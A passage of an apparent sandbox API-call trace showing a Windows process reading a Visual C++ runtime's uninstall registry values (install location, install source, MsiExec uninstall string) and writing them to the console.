lstrlenW (lpString="InstallLocation") returned 15 [0147.908] __iob_func () returned 0x7fefd702a80 [0147.908] _fileno (_File=0x7fefd702ab0) returned 1 [0147.908] _errno () returned 0xc4bb0 [0147.908] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.908] _errno () returned 0xc4bb0 [0147.908] GetFileType (hFile=0x50) returned 0x1 [0147.908] lstrlenW (lpString="InstallLocation") returned 15 [0147.908] GetConsoleOutputCP () returned 0x1b5 [0147.908] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="InstallLocation", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0147.908] GetConsoleOutputCP () returned 0x1b5 [0147.908] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="InstallLocation", cchWideChar=15, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="InstallLocation", lpUsedDefaultChar=0x0) returned 15 [0147.908] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 15 [0147.908] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.909] __iob_func () returned 0x7fefd702a80 [0147.909] _fileno (_File=0x7fefd702ab0) returned 1 [0147.909] _errno () returned 0xc4bb0 [0147.909] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.909] _errno () returned 0xc4bb0 [0147.909] GetFileType (hFile=0x50) returned 0x1 [0147.909] lstrlenW (lpString=" ") returned 4 [0147.909] GetConsoleOutputCP () returned 0x1b5 [0147.909] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.909] GetConsoleOutputCP () returned 0x1b5 [0147.909] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.909] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.909] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.909] __iob_func () returned 0x7fefd702a80 [0147.909] _fileno (_File=0x7fefd702ab0) returned 1 [0147.909] _errno () returned 0xc4bb0 [0147.909] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.909] _errno () returned 0xc4bb0 [0147.909] GetFileType (hFile=0x50) returned 0x1 [0147.909] lstrlenW (lpString="REG_SZ") returned 6 [0147.909] GetConsoleOutputCP () returned 0x1b5 [0147.909] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0147.910] GetConsoleOutputCP () returned 0x1b5 [0147.910] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0147.910] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0147.910] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.910] __iob_func () returned 0x7fefd702a80 [0147.910] _fileno (_File=0x7fefd702ab0) returned 1 [0147.910] _errno () returned 0xc4bb0 [0147.910] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.910] _errno () returned 0xc4bb0 [0147.910] GetFileType (hFile=0x50) returned 0x1 [0147.910] lstrlenW (lpString=" ") returned 4 [0147.910] GetConsoleOutputCP () returned 0x1b5 [0147.910] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.910] GetConsoleOutputCP () returned 0x1b5 [0147.910] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.910] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.910] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.910] __iob_func () returned 0x7fefd702a80 [0147.910] _fileno (_File=0x7fefd702ab0) returned 1 [0147.910] _errno () returned 0xc4bb0 [0147.910] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.910] _errno () returned 0xc4bb0 [0147.910] GetFileType (hFile=0x50) returned 0x1 [0147.911] lstrlenW (lpString="") returned 0 [0147.911] __iob_func () returned 0x7fefd702a80 [0147.911] _fileno (_File=0x7fefd702ab0) returned 1 [0147.911] _errno () returned 0xc4bb0 [0147.911] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.911] _errno () returned 0xc4bb0 [0147.911] GetFileType (hFile=0x50) returned 0x1 [0147.911] lstrlenW (lpString="\n") returned 1 [0147.911] GetConsoleOutputCP () returned 0x1b5 [0147.921] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0147.921] GetConsoleOutputCP () returned 0x1b5 [0147.921] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0147.921] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0147.921] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.921] GetProcessHeap () returned 0x2e0000 [0147.921] GetProcessHeap () returned 0x2e0000 [0147.921] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0147.921] GetProcessHeap () returned 0x2e0000 [0147.922] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0147.922] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0 | out: hHeap=0x2e0000) returned 1 [0147.922] RegEnumValueW (in: hKey=0x5c, dwIndex=0x8, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="InstallSource", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0147.922] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="InstallSource", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0xe8) returned 0x0 [0147.922] GetProcessHeap () returned 0x2e0000 [0147.922] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0xea) returned 0x302970 [0147.922] GetProcessHeap () returned 0x2e0000 [0147.922] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x302970) returned 1 [0147.922] GetProcessHeap () returned 0x2e0000 [0147.922] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x302970) returned 0xea [0147.922] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="InstallSource", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x302970, pcbData=0x23f670*=0xe8 | out: pdwType=0x23f5f0*=0x1, pvData="C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64\\", pcbData=0x23f670*=0xe6) returned 0x0 [0147.922] __iob_func () returned 0x7fefd702a80 [0147.922] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0147.922] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0147.922] _fileno (_File=0x7fefd702ab0) returned 1 [0147.922] _errno () returned 0xc4bb0 [0147.922] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.922] _errno () returned 0xc4bb0 [0147.922] GetFileType (hFile=0x50) returned 0x1 [0147.922] lstrlenW (lpString=" ") returned 4 [0147.922] GetConsoleOutputCP () returned 0x1b5 [0147.922] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.922] GetConsoleOutputCP () returned 0x1b5 [0147.922] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.922] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.922] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.923] lstrlenW (lpString="InstallSource") returned 13 [0147.923] __iob_func () returned 0x7fefd702a80 [0147.923] _fileno (_File=0x7fefd702ab0) returned 1 [0147.923] _errno () returned 0xc4bb0 [0147.923] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.923] _errno () returned 0xc4bb0 [0147.923] GetFileType (hFile=0x50) returned 0x1 [0147.923] lstrlenW (lpString="InstallSource") returned 13 [0147.923] GetConsoleOutputCP () returned 0x1b5 [0147.923] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="InstallSource", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0147.923] GetConsoleOutputCP () returned 0x1b5 [0147.923] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="InstallSource", cchWideChar=13, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="InstallSource", lpUsedDefaultChar=0x0) returned 13 [0147.923] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 13 [0147.923] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.923] __iob_func () returned 0x7fefd702a80 [0147.923] _fileno (_File=0x7fefd702ab0) returned 1 [0147.923] _errno () returned 0xc4bb0 [0147.923] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.923] _errno () returned 0xc4bb0 [0147.923] GetFileType (hFile=0x50) returned 0x1 [0147.923] lstrlenW (lpString=" ") returned 4 [0147.923] GetConsoleOutputCP () returned 0x1b5 [0147.923] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.924] GetConsoleOutputCP () returned 0x1b5 [0147.924] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.924] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.924] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.924] __iob_func () returned 0x7fefd702a80 [0147.924] _fileno (_File=0x7fefd702ab0) returned 1 [0147.924] _errno () returned 0xc4bb0 [0147.924] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.924] _errno () returned 0xc4bb0 [0147.924] GetFileType (hFile=0x50) returned 0x1 [0147.924] lstrlenW (lpString="REG_SZ") returned 6 [0147.924] GetConsoleOutputCP () returned 0x1b5 [0147.924] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0147.924] GetConsoleOutputCP () returned 0x1b5 [0147.924] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0147.924] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0147.924] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.924] __iob_func () returned 0x7fefd702a80 [0147.924] _fileno (_File=0x7fefd702ab0) returned 1 [0147.924] _errno () returned 0xc4bb0 [0147.924] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.924] _errno () returned 0xc4bb0 [0147.924] GetFileType (hFile=0x50) returned 0x1 [0147.924] lstrlenW (lpString=" ") returned 4 [0147.925] GetConsoleOutputCP () returned 0x1b5 [0147.925] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.925] GetConsoleOutputCP () returned 0x1b5 [0147.925] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.925] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.925] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.925] __iob_func () returned 0x7fefd702a80 [0147.925] _fileno (_File=0x7fefd702ab0) returned 1 [0147.925] _errno () returned 0xc4bb0 [0147.925] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.925] _errno () returned 0xc4bb0 [0147.925] GetFileType (hFile=0x50) returned 0x1 [0147.925] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64\\") returned 114 [0147.925] GetConsoleOutputCP () returned 0x1b5 [0147.925] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64\\", cchWideChar=114, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 114 [0147.925] GetConsoleOutputCP () returned 0x1b5 [0147.925] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64\\", cchWideChar=114, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64\\", lpUsedDefaultChar=0x0) returned 114 [0147.925] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 114 [0147.925] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.926] __iob_func () returned 0x7fefd702a80 [0147.926] _fileno (_File=0x7fefd702ab0) returned 1 [0147.926] _errno () returned 0xc4bb0 [0147.926] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.926] _errno () returned 0xc4bb0 [0147.926] GetFileType (hFile=0x50) returned 0x1 [0147.926] lstrlenW (lpString="\n") returned 1 [0147.926] GetConsoleOutputCP () returned 0x1b5 [0147.926] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0147.926] GetConsoleOutputCP () returned 0x1b5 [0147.926] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0147.926] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0147.926] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.926] GetProcessHeap () returned 0x2e0000 [0147.926] GetProcessHeap () returned 0x2e0000 [0147.926] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x302970) returned 1 [0147.926] GetProcessHeap () returned 0x2e0000 [0147.926] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x302970) returned 0xea [0147.926] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x302970 | out: hHeap=0x2e0000) returned 1 [0147.926] RegEnumValueW (in: hKey=0x5c, dwIndex=0x9, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="ModifyPath", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0147.926] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="ModifyPath", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x6a) returned 0x0 [0147.927] GetProcessHeap () returned 0x2e0000 [0147.927] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x6c) returned 0x2fd9a0 [0147.927] GetProcessHeap () returned 0x2e0000 [0147.927] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fd9a0) returned 1 [0147.927] GetProcessHeap () returned 0x2e0000 [0147.927] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fd9a0) returned 0x6c [0147.927] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="ModifyPath", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2fd9a0, pcbData=0x23f670*=0x6a | out: pdwType=0x23f5f0*=0x2, pvData="MsiExec.exe /X{929FBD26-9020-399B-9A7A-751D61F0B942}", pcbData=0x23f670*=0x6a) returned 0x0 [0147.927] __iob_func () returned 0x7fefd702a80 [0147.927] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0147.927] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0147.927] _fileno (_File=0x7fefd702ab0) returned 1 [0147.927] _errno () returned 0xc4bb0 [0147.927] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.927] _errno () returned 0xc4bb0 [0147.927] GetFileType (hFile=0x50) returned 0x1 [0147.927] lstrlenW (lpString=" ") returned 4 [0147.927] GetConsoleOutputCP () returned 0x1b5 [0147.927] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.927] GetConsoleOutputCP () returned 0x1b5 [0147.928] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.928] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.928] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.928] lstrlenW (lpString="ModifyPath") returned 10 [0147.928] __iob_func () returned 0x7fefd702a80 [0147.928] _fileno (_File=0x7fefd702ab0) returned 1 [0147.928] _errno () returned 0xc4bb0 [0147.928] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.928] _errno () returned 0xc4bb0 [0147.928] GetFileType (hFile=0x50) returned 0x1 [0147.928] lstrlenW (lpString="ModifyPath") returned 10 [0147.928] GetConsoleOutputCP () returned 0x1b5 [0147.928] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="ModifyPath", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0147.928] GetConsoleOutputCP () returned 0x1b5 [0147.928] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="ModifyPath", cchWideChar=10, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ModifyPath", lpUsedDefaultChar=0x0) returned 10 [0147.928] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 10 [0147.928] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.928] __iob_func () returned 0x7fefd702a80 [0147.928] _fileno (_File=0x7fefd702ab0) returned 1 [0147.928] _errno () returned 0xc4bb0 [0147.928] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.928] _errno () returned 0xc4bb0 [0147.928] GetFileType (hFile=0x50) returned 0x1 [0147.928] lstrlenW (lpString=" ") returned 4 [0147.928] GetConsoleOutputCP () returned 0x1b5 [0147.929] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.929] GetConsoleOutputCP () returned 0x1b5 [0147.929] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.929] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.929] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.929] __iob_func () returned 0x7fefd702a80 [0147.929] _fileno (_File=0x7fefd702ab0) returned 1 [0147.929] _errno () returned 0xc4bb0 [0147.929] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.929] _errno () returned 0xc4bb0 [0147.929] GetFileType (hFile=0x50) returned 0x1 [0147.929] lstrlenW (lpString="REG_EXPAND_SZ") returned 13 [0147.929] GetConsoleOutputCP () returned 0x1b5 [0147.929] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_EXPAND_SZ", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0147.929] GetConsoleOutputCP () returned 0x1b5 [0147.929] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_EXPAND_SZ", cchWideChar=13, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_EXPAND_SZ", lpUsedDefaultChar=0x0) returned 13 [0147.929] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 13 [0147.929] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.929] __iob_func () returned 0x7fefd702a80 [0147.929] _fileno (_File=0x7fefd702ab0) returned 1 [0147.929] _errno () returned 0xc4bb0 [0147.929] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.930] _errno () returned 0xc4bb0 [0147.930] GetFileType (hFile=0x50) returned 0x1 [0147.930] lstrlenW (lpString=" ") returned 4 [0147.930] GetConsoleOutputCP () returned 0x1b5 [0147.930] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.930] GetConsoleOutputCP () returned 0x1b5 [0147.930] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.930] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.930] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.930] __iob_func () returned 0x7fefd702a80 [0147.930] _fileno (_File=0x7fefd702ab0) returned 1 [0147.930] _errno () returned 0xc4bb0 [0147.930] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.930] _errno () returned 0xc4bb0 [0147.930] GetFileType (hFile=0x50) returned 0x1 [0147.930] lstrlenW (lpString="MsiExec.exe /X{929FBD26-9020-399B-9A7A-751D61F0B942}") returned 52 [0147.930] GetConsoleOutputCP () returned 0x1b5 [0147.930] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="MsiExec.exe /X{929FBD26-9020-399B-9A7A-751D61F0B942}", cchWideChar=52, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 52 [0147.930] GetConsoleOutputCP () returned 0x1b5 [0147.930] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="MsiExec.exe /X{929FBD26-9020-399B-9A7A-751D61F0B942}", cchWideChar=52, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MsiExec.exe /X{929FBD26-9020-399B-9A7A-751D61F0B942}", lpUsedDefaultChar=0x0) returned 52 [0147.931] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 52 [0147.931] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.931] __iob_func () returned 0x7fefd702a80 [0147.931] _fileno (_File=0x7fefd702ab0) returned 1 [0147.931] _errno () returned 0xc4bb0 [0147.931] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.931] _errno () returned 0xc4bb0 [0147.931] GetFileType (hFile=0x50) returned 0x1 [0147.931] lstrlenW (lpString="\n") returned 1 [0147.931] GetConsoleOutputCP () returned 0x1b5 [0147.931] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, 